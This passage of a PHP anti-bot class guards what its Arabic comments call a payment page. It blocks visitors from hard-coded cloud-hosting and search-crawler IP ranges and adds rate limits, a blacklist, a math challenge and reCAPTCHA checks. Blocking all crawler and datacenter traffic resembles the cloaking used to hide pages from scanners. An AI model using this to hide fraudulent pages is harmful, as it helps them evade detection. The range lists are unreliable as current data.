            '3.0.0.0/9', '13.32.0.0/15', '15.177.0.0/16', '18.32.0.0/11',
            '34.192.0.0/10', '35.152.0.0/13', '44.192.0.0/10', '52.0.0.0/11',
            '54.144.0.0/12', '54.224.0.0/11', '99.77.128.0/18',
            // ---- Google Cloud ----
            '34.64.0.0/10', '35.184.0.0/13', '35.192.0.0/14', '35.196.0.0/15',
            '35.198.0.0/16', '35.200.0.0/13', '104.196.0.0/14', '130.211.0.0/16',
            '146.148.0.0/17',
            // ---- DigitalOcean ----
            '104.131.0.0/16', '104.236.0.0/16', '128.199.0.0/16', '134.209.0.0/16',
            '138.197.0.0/16', '138.68.0.0/16', '142.93.0.0/16', '143.110.0.0/16',
            '146.190.0.0/16', '157.230.0.0/16', '159.65.0.0/16', '159.89.0.0/16',
            '161.35.0.0/16', '164.90.0.0/16', '165.227.0.0/16', '167.71.0.0/16',
            '167.99.0.0/16', '178.62.0.0/16', '188.166.0.0/16', '206.189.0.0/16',
            // ---- Hetzner ----
            '5.9.0.0/16', '78.46.0.0/15', '88.198.0.0/16', '94.130.0.0/16',
            '95.216.0.0/15', '116.202.0.0/15', '128.140.0.0/16', '135.181.0.0/16',
            '136.243.0.0/16', '138.201.0.0/16', '142.132.0.0/16', '144.76.0.0/16',
            '148.251.0.0/16', '157.90.0.0/16', '159.69.0.0/16', '162.55.0.0/16',
            '167.235.0.0/16', '168.119.0.0/16', '176.9.0.0/16', '188.34.0.0/16',
            '195.201.0.0/16', '213.239.192.0/18',
            // ---- Microsoft Azure (عيّنة) ----
            '13.64.0.0/11', '20.33.0.0/16', '20.34.0.0/15', '20.36.0.0/14',
            '20.40.0.0/13', '20.128.0.0/16', '40.64.0.0/10', '52.224.0.0/11',
            '104.40.0.0/13',
            // ---- Linode/Akamai ----
            '45.33.0.0/16', '45.56.0.0/16', '45.79.0.0/16', '50.116.0.0/16',
            '66.175.208.0/20', '69.164.192.0/19', '72.14.176.0/20', '96.126.96.0/19',
            '139.144.0.0/16', '170.187.0.0/16', '172.104.0.0/15', '173.255.192.0/18',
            '192.46.208.0/20', '198.58.96.0/19',
            // ---- Contabo / Vultr / آخرين ----
            '38.242.0.0/16', '62.171.128.0/17', '144.91.0.0/16', '161.97.0.0/16',
            '167.86.0.0/16', '173.249.0.0/16', '207.180.192.0/18',  // Contabo
            '45.32.0.0/16', '45.63.0.0/16', '45.76.0.0/16', '66.42.0.0/17',
            '108.61.0.0/16', '149.28.0.0/16', '207.246.64.0/18',    // Vultr
        ];

        $ipLong = ip2long($ip);
        if ($ipLong === false) return false;

        foreach ($ranges as $cidr) {
            [$subnet, $bits] = explode('/', $cidr);
            $subnetLong = ip2long($subnet);
            if ($subnetLong === false) continue;
            $mask = -1 << (32 - (int)$bits);
            if (($ipLong & $mask) === ($subnetLong & $mask)) {
                return true;
            }
        }
        return false;
    }

    /**
     * التعرّف على IPs محركات البحث والبوتات المعروفة (بالـ IP مش الـ UA).
     *
     * ⚠️ في بوابة الدفع: نستخدم هذا للـ *حظر* مش السماح.
     * ما بدنا الصفحة تنفهرس ولا أي بوت يوصلها.
     *
     * ⚠️ ليش بالـ IP؟ الـ UA سهل تزييفه. نطاقات الـ IP الرسمية أصعب.
     * النطاقات بتتحدّث، راجعها من المصادر الرسمية كل فترة.
     */
    private function isKnownBotIP(string $ip): bool
    {
        if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
            return false;
        }

        // نطاقات محركات البحث والزحف المعروفة
        $crawlerRanges = [
            // ---- Google (Googlebot + خدمات الزحف والفهرسة) ----
            '66.249.64.0/19',   // Googlebot الأساسي
            '66.102.0.0/20',    // Google
            '72.14.192.0/18',   // Google
            '74.125.0.0/16',    // Google
            '108.177.0.0/17',   // Google
            '172.217.0.0/16',   // Google
            '173.194.0.0/16',   // Google
            '192.178.0.0/15',   // Google
            '209.85.128.0/17',  // Google
            '216.239.32.0/19',  // Google
            '142.250.0.0/15',   // Google
            '34.100.182.96/28', '34.101.50.144/28',  // Google special crawlers
            // ---- Bing (Bingbot) ----
            '157.55.39.0/24', '207.46.13.0/24', '40.77.167.0/24',
            '13.66.139.0/24', '13.66.144.0/24', '52.167.144.0/24',
            '13.67.10.16/28', '13.69.66.240/28', '40.77.188.0/22',
            '65.55.210.0/24', '199.30.24.0/23', '40.77.139.0/25',
            // ---- DuckDuckGo ----
            '20.191.45.212/32', '40.88.21.235/32', '40.76.173.151/32',
            '40.76.163.7/32', '20.185.79.47/32', '52.142.26.175/32',
            // ---- Yandex ----
            '5.45.192.0/18', '5.255.192.0/18', '37.9.64.0/18',
            '77.88.0.0/18', '87.250.224.0/19', '93.158.128.0/18',
            '95.108.128.0/17', '141.8.128.0/18', '178.154.128.0/17',
            // ---- Apple (Applebot) ----
            '17.0.0.0/8',
        ];

        $ipLong = ip2long($ip);
        if ($ipLong === false) return false;

        foreach ($crawlerRanges as $cidr) {
            [$subnet, $bits] = explode('/', $cidr);
            $subnetLong = ip2long($subnet);
            if ($subnetLong === false) continue;
            $mask = -1 << (32 - (int)$bits);
            if (($ipLong & $mask) === ($subnetLong & $mask)) {
                return true;
            }
        }
        return false;
    }

    private function checkRateLimit(): bool
    {
        $file = $this->config['rate_limit_dir'] . md5($this->ip) . '.txt';
        $now = time();
        $minute = floor($now / 60);

        $data = ['minute' => $minute, 'count' => 0];
        if (is_file($file)) {
            $stored = @json_decode(file_get_contents($file), true);
            if ($stored && $stored['minute'] === $minute) {
                $data = $stored;
            }
        }
        $data['count']++;

        @file_put_contents($file, json_encode($data), LOCK_EX);

        return $data['count'] <= $this->config['rate_limit_per_min'];
    }

    private function isBlacklisted(): bool
    {
        $file = $this->config['rate_limit_dir'] . 'blacklist_' . md5($this->ip) . '.txt';
        if (!is_file($file)) return false;
        $until = (int)file_get_contents($file);
        if ($until < time()) {
            @unlink($file);
            return false;
        }
        return true;
    }

    private function addToBlacklist(string $ip, string $reason, int $minutes = 60): void
    {
        $file = $this->config['rate_limit_dir'] . 'blacklist_' . md5($ip) . '.txt';
        @file_put_contents($file, time() + ($minutes * 60));
        $this->log('blacklist_add', ['ip' => $ip, 'reason' => $reason, 'duration_min' => $minutes]);
    }

    private function generateMathChallenge(): array
    {
        $ops = ['+', '-', '*'];
        $op = $ops[array_rand($ops)];
        $a = random_int(10, 99);
        $b = random_int(2, 20);
        switch ($op) {
            case '+': $answer = $a + $b; break;
            case '-': $answer = $a - $b; break;
            case '*': $answer = $a * $b; break;
            default:  $answer = 0;
        }
        return compact('a', 'b', 'op', 'answer');
    }

    /**
     * التحقق من توكن reCAPTCHA v3 مع جوجل
     * بترجع: success, score (0.0-1.0), action, error
     */
    private function verifyRecaptcha(string $token): array
    {
        if (empty($token)) {
            return ['success' => false, 'error' => 'missing_token', 'score' => 0.0, 'action' => ''];
        }

        $ch = curl_init('https://www.google.com/recaptcha/api/siteverify');
        curl_setopt_array($ch, [
            CURLOPT_POST => true,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 5,
            CURLOPT_POSTFIELDS => http_build_query([
                'secret'   => $this->config['recaptcha_secret'],
                'response' => $token,
                'remoteip' => $this->ip,
            ]),
        ]);
        $response = curl_exec($ch);
        curl_close($ch);

        if ($response === false) {
            // فشل الاتصال بجوجل - لا تحظر بسبب مشكلة شبكة عندك
            // score محايد 0.5 + success=false بعقوبة بسيطة (راجع الملاحظات)
            return ['success' => false, 'error' => 'verify_unreachable', 'score' => 0.5, 'action' => ''];
        }

        $data = json_decode($response, true);

        if (!($data['success'] ?? false)) {
            $errors = implode(',', $data['error-codes'] ?? ['unknown']);
            return ['success' => false, 'error' => $errors, 'score' => 0.0, 'action' => ''];
        }

        return [
            'success' => true,
            'score'   => (float)($data['score'] ?? 0.0),
            'action'  => $data['action'] ?? '',
            'error'   => '',
        ];
    }

    private function log(string $event, array $data): void
    {
        $entry = json_encode([
            'time'  => date('c'),
            'event' => $event,
            'data'  => $data,
        ], JSON_UNESCAPED_UNICODE) . "\n";
        @file_put_contents($this->config['log_file'], $entry, FILE_APPEND | LOCK_EX);
    }
}